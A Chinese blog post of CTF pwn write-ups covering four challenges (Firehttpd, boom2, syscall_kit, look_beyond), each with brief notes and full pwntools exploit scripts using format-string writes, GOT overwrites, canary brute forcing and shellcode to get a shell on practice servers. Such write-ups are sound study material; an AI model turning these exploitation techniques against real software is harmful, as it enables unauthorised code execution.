临近国赛,回头做了一些常见题,顺便把以前做过的题目也整理了一下。
[FireshellCTF2020]Firehttpd
第一次接触模拟 web 服务器的题目,挺有意思的。
特点
题目提供了 web 服务器的 ELF。服务器在一个循环中 accept
并 recv
客户端的输入,因此该服务器不能并发。
服务器只能处理 GET 方法,将其后的文件输出。同时 “..” 被过滤,不能访问 www 目录外的文件。
服务器还能识别 Referer 字段。在处理过程中有格式化字符串漏洞。
漏洞
64 位格式化字符串漏洞
- 因为 64 位地址几乎必包含 0 字节,所以布置的地址必须位于格式化字符串的末端,并且一次 printf 只能修改一个布置的地址处的值。
- 题目用
sprintf
将格式化后的字符串储存在栈上。可以利用 %1024c 造成栈溢出。(但这题没有用到)
- 当想赋的字节会变化时,由于一字节值的范围为 0~255 ,在其后布置的地址的地址(好绕口)也会变化。可以加上 0x100,这样 %nc 中的 n 在格式化字符串中就固定占三个字节了。
保护
除了 fortify 全开
利用
覆盖栈上的变量——地址计算
错误的选择:利用变量与栈所在页的偏移计算出栈所在页的地址,然后再利用偏移计算另一个栈上变量的地址。
错误原因:不仅栈所在页的地址是随机的,栈的基址也是随机的。
正解:直接利用变量与变量之间的偏移计算地址。
相近地址
path 指针指向的字符串与 Referer 字符串均在栈上,且地址相近(只有低二字节不同)。我们可以调整最低字节,用格式化字符串漏洞修改第二低字节,使 path 指向我们布置的字符串。
其它
寻找 libc 与 ld
题目使用的是 libc-2.29。在找对应 ld 时顺便解决了下面两个 libc 相关问题(大概吧):
题目不给 libc
首选 LibcSearcher。另外还有三个在线网页:
- libc_rip:github 上 libc-database 的官方 API。
- libc_nullbyte:搜索更多架构(amd64, i386, arm, arm64, mips, mips64, ppc, ppc64, x32 and s390)。但我试了一个 aarch64 的,没有找到。
- libc_blukat:看起来和 libc_rip 没什么区别。
题目给 libc 不给 ld
首先在上面三个网页上找到 libc 的名字。如:libc6_2.29-0ubuntu2_amd64
然后在 glibc-all-in-one 的 list 和 old list 中找有没有对应的 libc
最后用 glibc-all-in-one 的 download 脚本下载整个 lib(其中包含 ld)
glibc symbol versioning
了解了一下 glibc 如何处理向后兼容,弄懂了 puts@@GLIBC_2.2.5
后面的一串是什么东西。
介绍文章:How the GNU C Library handles backward compatibility 简洁明了
邮件:ELF symbol versioning with glibc 2.1 and later 详细原理
__ctype_b_loc
用来获得字符的属性。
提问:__ctype_b_loc what is its purpose?
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import *
io = remote("node3.buuoj.cn", 27031)
io.sendline("GET /index.html asgewtewfsfasfsafqr\nReferer: %p \n") io.recvuntil("Referer: ") sprintf_dst_addr = int(io.recvuntil(' ', drop=True), 16) print("sprintf_dst_addr = " + hex(sprintf_dst_addr))
io.close()
io = remote("node3.buuoj.cn", 27031)
path_addr = sprintf_dst_addr - 0x30 print("path_addr = " + hex(path_addr)) flag_path_addr = sprintf_dst_addr + 0xe0 flag_path_offset_1 = (flag_path_addr >> 8) & 0xff flag_path_fmt_offset = 0x100 - 12 + flag_path_offset_1 print("flag_path_fmt_offset = " + hex(flag_path_fmt_offset))
payload2 = b"GET /index.html\nReferer: " + b'b' * 3 payload2 += b'%' + str(flag_path_fmt_offset).encode('utf-8') + b"c%14$hhn" + p64(path_addr + 1) payload2 += b'c' * 0xc0 + b"/home/ctf/flag\x00" + b'\n' print("payload2 len = " + str(len(payload2))) io.sendline(payload2)
io.interactive()
|
wdb_2020_1st_boom2
分类
vm pwn
知识点
argc和argv在栈上
其它
没有用到全部的功能。
逆向量其实不大,但感觉搞了好久。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import *
libc = ELF("./libc-2.27_64.so") io = process("./wdb_2020_1st_boom2")
swap = p64(12) add_tmp = p64(25) sub_tmp = p64(26) set_stack = p64(13) set_derefed_stack = p64(11) tmp_deref = p64(9)
def set_tmp(val): return p64(1) + p64(val)
one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c] payload = swap + set_tmp(0xe8) + sub_tmp + set_stack + tmp_deref + set_stack + set_tmp(one_gadgets[0] - (231 + libc.symbols["__libc_start_main"])) + add_tmp + set_derefed_stack io.sendafter("MC execution system\nInput your code> ", payload)
io.interactive()
|
zer0pts_2020_syscall_kit
特点
从这题了解各种神奇的 syscall,以及 C++ 的虚表基础
利用方法有些 tricky
分析
程序允许执行最多10次syscall,并且能设置前三个参数
但一些系统调用被禁用:open, openat, read, write, sendfile, execve, execveat, ptrace, fork, vfork, clone
利用
我们仍然可以用其它的系统调用达成以下效果:
- 泄漏heap基地址(brk)
- 泄漏PIE基地址(writev)
- 使heap所占page权限变为rwx(mprotect)
- 往heap上写shellcode(readv)
5, 使虚表所在page权限变为rw(readv)
- 修改Emulator对象的虚表为shellocde地址
细节
C++ 对象
程序创建了一个Emulator对象在堆上
其中writev和readv的参数需要用到Emulator的特殊布局:
vtable | rax
rdi | rsi
rdx | (topchunk_size)
writev、readv
1 2 3 4 5 6 7 8
| ssize_t readv(int fd, const struct iovec *iov, int iovcnt); ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
struct iovec { void *iov_base; size_t iov_len; };
|
当 rsi 设置为指向 vtable 的地址时,rax 为长度,可以泄漏和覆盖 vtable 中函数地址
但 vtable 所在 page 只读,所以要先 mprotect。
当 rsi 设置为指向 rsi 的地址时,rdx为长度,可以在堆上写 shellcode。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import *
context.os = "linux" context.arch = "amd64"
io = remote("node3.buuoj.cn", 29158)
def syscall(nr, arg1, arg2=0, arg3=0): io.sendlineafter("syscall: ", str(nr)) io.sendlineafter("arg1: ", str(arg1)) io.sendlineafter("arg2: ", str(arg2)) io.sendlineafter("arg3: ", str(arg3))
brk = 12 syscall(brk, 0) io.recvuntil("retval: ") heap_addr = int(io.recvuntil('\n', drop=True), 16) - 0x21000 print("heap_addr = " + hex(heap_addr))
writev = 20 victim_addr = heap_addr + 0x250 + 0x11c10 + 0x10 syscall(writev, 1, victim_addr, 1) io.recvuntil("=========================\n") pie_addr = u64(io.recv(8)) - 0x1114 print("pie_addr = " + hex(pie_addr))
mprotect = 10 vtable_page = pie_addr + 0x202000 length = 0x1000 syscall(mprotect, vtable_page, length, 7)
mprotect = 10 length = 0x21000 syscall(mprotect, heap_addr, length, 7)
readv = 19 heap_victim_addr = victim_addr + 0x18 syscall(readv, 0, heap_victim_addr, 0x100)
sleep(0.2) shellcode = asm(shellcraft.sh()) payload = b"a" * 0x18 + shellcode io.send(payload)
readv = 19 syscall(readv, 0, victim_addr, 1)
sleep(0.2) shellcode_addr = heap_victim_addr + 0x18 io.send(p64(shellcode_addr))
io.interactive()
|
bbctf_2020_look_beyond
很有意思的一题
保护
没开 PIE 和 Full RELRO
特点
- 任意大小 malloc 一次
- 执行完
main
函数后如果能再次执行,可以获得 libc 地址
漏洞
- malloc 的地址的任意偏移处字节改为 0x01
- 任意地址写八字节
利用
- malloc 0x60000,使 chunk 用 mmap 分配。
- 利用偏移写,修改 canary 以触发
_stack_check_fail
- 利用任意地址写,修改.got.plt中的
_stack_check_fail
为 main 函数地址
- 获得 libc 地址后,修改 .got.plt 中的
strtoul
为 system
地址
然而本地的 ld 和远程的版本不同,canary 地址的偏移也不同,因此需要爆破 canary 的地址。
爆破 canary 地址
通过输出判断是否继续爆破(canary 在 ld 中,虽然 ld 版本不同,但偏移相差很少)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
i = 509 while True: io = remote("node3.buuoj.cn", 26664) io.sendlineafter("size: ", str(size)) idx = 0x61500 - 0x10 + 8 * i io.sendlineafter("idx: ", str(idx)) io.sendafter("where: ", str(stack_chk_fail_got)) sleep(0.2) io.send(p64(main_addr)) if io.recvall() == b'6295576': print("i = " + str(i)) i += 1 io.close() else: io.interactive()
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import *
libc = ELF("./libc-2.27_64.so")
''' 486 493 ''' stack_chk_fail_got = 0x601018 dl_runtime_resovle_got = 0x601010 main_addr = 0x4007D6 size = 0x60000
brute_force_result = 509 io = remote("node3.buuoj.cn", 26664)
size = 0x60000 io.sendlineafter("size: ", str(size))
idx = 0x61500 - 0x10 + 8 * brute_force_result io.sendlineafter("idx: ", str(idx))
io.sendafter("where: ", str(stack_chk_fail_got)) sleep(0.2) io.send(p64(main_addr))
io.recvuntil("puts: 0x") libc.address = int(io.recvuntil('\n', drop=True), 16) - libc.symbols["puts"] print("libc.address = " + hex(libc.address))
''' 324293 324386 1090444 ''' one_gadgets = [324293, 324386, 1090444]
idx = idx + size + 0x1000 + 1 size = size - 0x10
io.sendlineafter("size: ", str(size)) io.sendlineafter("idx: ", str(idx)) strtoul_got = 0x601048 io.sendafter("where: ", str(strtoul_got))
system_addr = libc.symbols["system"] sleep(0.2) io.send(p64(system_addr))
io.sendlineafter("size: ", "/bin/sh")
io.interactive()
|